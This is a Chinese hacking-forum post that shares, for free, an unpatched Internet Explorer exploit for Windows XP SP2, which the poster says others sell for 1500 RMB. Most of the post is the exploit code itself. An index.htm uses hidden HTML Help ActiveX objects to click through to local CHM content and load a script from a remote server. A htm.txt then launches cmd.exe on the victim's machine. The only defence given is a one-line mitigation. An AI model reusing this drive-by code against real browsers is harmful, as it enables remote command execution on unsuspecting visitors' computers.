注册
登录
| 关键词： nbsp 浩天 火狐 弟兄 vulnerability 大侠 htm unpatched Internet Solution |
这个东西很多人拿来卖钱，听说要1500 RMB，嘿嘿！ 现在我把它贴出来，给火狐的弟兄分享。在winxp xp2 下成功！ 当然如果你的windows 没有在c盘的话，就一定会失败！ 最后谢谢 蓝魔~~~ ---- by 浩天大侠 This unpatched vulnerability is a variant of the "Auto SP2 RC Exploit"Solution : Set the security level for all zones to "High" in Internet Explorer// index.htm //<html><head></head><OBJECT style="display:none" id="locate" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" codebase="hhctrl.ocx#Version=5,2,3790,1194"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Button" value="Text:_"><PARAM name="Window" value="$global_blank"><PARAM name="Item1" value="command;ms-its:c:/windows/help/ntshared.chm::/alt_url_enterprise_specific.htm"></OBJECT><OBJECT style="display:none" id="locator" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" codebase="hhctrl.ocx#Version=5,2,3790,1194"><PARAM name="Command" value="Related Topics, MENU"><PARAM name="Button" value="Text:_"><PARAM name="Window" value="$global_blank"><PARAM name="Item1" value='command;javascript:execScript("document.write(\"<script language=\\\"javascript\\\" src=\\\"http://server//htm.txt\\\"\"+String.fromCharCode(62)+\"</scr\"+\"ipt\"+String.fromCharCode(62))")'></OBJECT><script>locate.HHClick();setTimeout("locator.HHClick()",100);setTimeout("window.opener=null;window.close()",10000)</script></body></html>// htm.txt //document.write("<object id=a classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11><param name=command value=shortcut><param name=item1 value=',cmd.exe,/c pause,'></object><object id=b classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11><param name=command value=close></object><script>a.Click\(\);b.Click\(\)</script>");// Original Advisory |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
